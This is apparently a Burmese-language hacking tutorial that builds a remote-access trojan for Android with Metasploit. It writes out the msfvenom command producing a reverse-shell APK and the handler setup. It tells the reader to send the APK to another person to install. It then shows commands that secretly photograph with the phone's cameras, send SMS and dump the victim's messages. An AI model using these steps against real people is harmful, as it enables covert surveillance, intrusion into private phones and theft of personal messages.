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က်ေနာ္ဒီေန႕ျပမွာကေတာ့ (Android Rat) android hack with metasploit ပါပဲ :P



1 metasploit ရိွထားရပါမယ္

2 home internet ျဖစ္ရမယ္ သို႕မဟုတ္ port forwarding



လုပ္လ႕ို ရတဲ့ ဟာျဖစ္ရပါမယ္ အစဥ္ေျပမယ္



မရရင္ေတာ့ ကိုယ့္Network ထဲမွာ ရိွမွအစဥ္ေျပပါမယ္။



စမယ္ဆိုေတာ့



အရင္ port forwarding လုပ္ပါ အဲဒါကိုေတာ့ internet Router ေပါမူတည္ျပီး ကြာပါတယ္။ အဲဒါအရင္လုပ္ပါ။



ျပီးရင္ ကိုယ့္အိုင္ပီကိုတခ်က္ျပန္ၾကည့္ပါ။ window မွာ cmd မွာ ipconfig ၾကည့္လိုက္ ဥပမာ

192.168.121.5 ေပါ့

တကယ္လို linux မွာဆိုရင္ ေကာမန္႕မွာ ifconfig ဆိုျပီး ရိုက္ၾကည့္လုိက္ပါ။

က်ေနာ္ေတာ့ linux မွာသံုးေတာ့ linux နဲ႕ပဲျပပါမယ္။



ျပီးရင္ rat apk တခုျပဳလုပ္ပါမယ္။

ေကာ့မန္႕လိုင္းေခါျပီး msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.121.5

LPORT=4444 R &gt; /root/Desktop/n.apk

ရိုက္လိုက္ပါ။



ရိုက္လိုက္တာနဲ႕ ေအာက္ပါအတိုင္းေပါလာမွာပါမယ္။



ကဲ rat apk တခုျပဳလုပ္ျပီးပါျပီး



n.apk ေလးရပါျပီ။ :P



ျပီးရင္



metasploit ဖြင့္ ျပီးရင္ ေအာက္ပါအတိုင္းေကာ့မန္႕ေပးပါ



use exploit/multi/handler

ျပီးရင္

set payload android/meterpreter/reverse_tcp



ျပီးရင္

set LHOST 0.0.0.0 ဒီေနရာမွာကိုယ္အိုင္ပီထည့္



ျပီးရင္ exploit ကိုရိုက္



ဒီလိုဆိုရပါျပီ :P



Rat apk ကို တျခားသူတေယာက္ကို ခနကလုပ္ထားတဲ့ n.apk ေလးရွယ္ေပးလိုက္ သူ install လုပ္လိုက္ျပီး

open လုပ္တာနဲ႕ ရပါျပီ။



ရသြားပါျပီ :P ဘာေတြလုပ္လို႕ရလဲၾကည့္က်မယ္ အဲဒီေတာ့ က်ေနာ္ေတာ့ အရင္ဆံုး

ဘယ္ဖုန္းလဲဘာလဲသိခ်င္ေတာ့ sysinfo လို႕ရိိုက္လုိက္တယ္။



ေနာက္တျခားဘာေတြလုပ္လို႕ရလဲဆိုတာ သိခ်င္ရင္ help ဆိုျပီးရိုက္လိုက္ပါ။ :P



ေနာက္စမ္းအံုးမယ္ ဓါတ္ပံုခိုးရိုက္မယ္

webcam_list ဆိုျပီးၾကည့္လုိက္ ဖုနး္ မွာ camera ဘယ္၂ခုပါလဲေပါ့

က်ေနာ္ဟက္ထားတဲ့ဖုန္းက ၂ခုပါတယ္

1: Back Camera

2: Front Camera

ျပီးရင္ ခိုင္းရုိက္မယ္ webcam_snap 1

Auto save ျဖစ္သြားပါမယ္ :P



ေနာက္ျပီး sms ပို႕ၾကည့္မယ္ :P

ေကာမန္႕က send_sms -d +9592065498 –t Hallo



နံပါတ္န႕ဲ စာကိုယ္ထည့္ခ်င္တာထည့္ပါ။



ရတယ္ ဖုန္းထဲဝင္မဝင္တခ်က္ၾကည့္မယ္



:P

ေနာက္ျပီး ဖုန္းထဲမွာ sms ဘယ္ေလာက္ဝင္ထားလဲသိခ်င္တယ္။ အဲဒီေတာ့ ေကာ္မန္႕ကို dump_sms

ႏိုပ္လိုက္ Auto save ျဖစ္သြားပါမယ္။



:D sms 146 ေစာင္ရိွတယ္ :P

ကဲဖြင့္ၾကည့္မယ္
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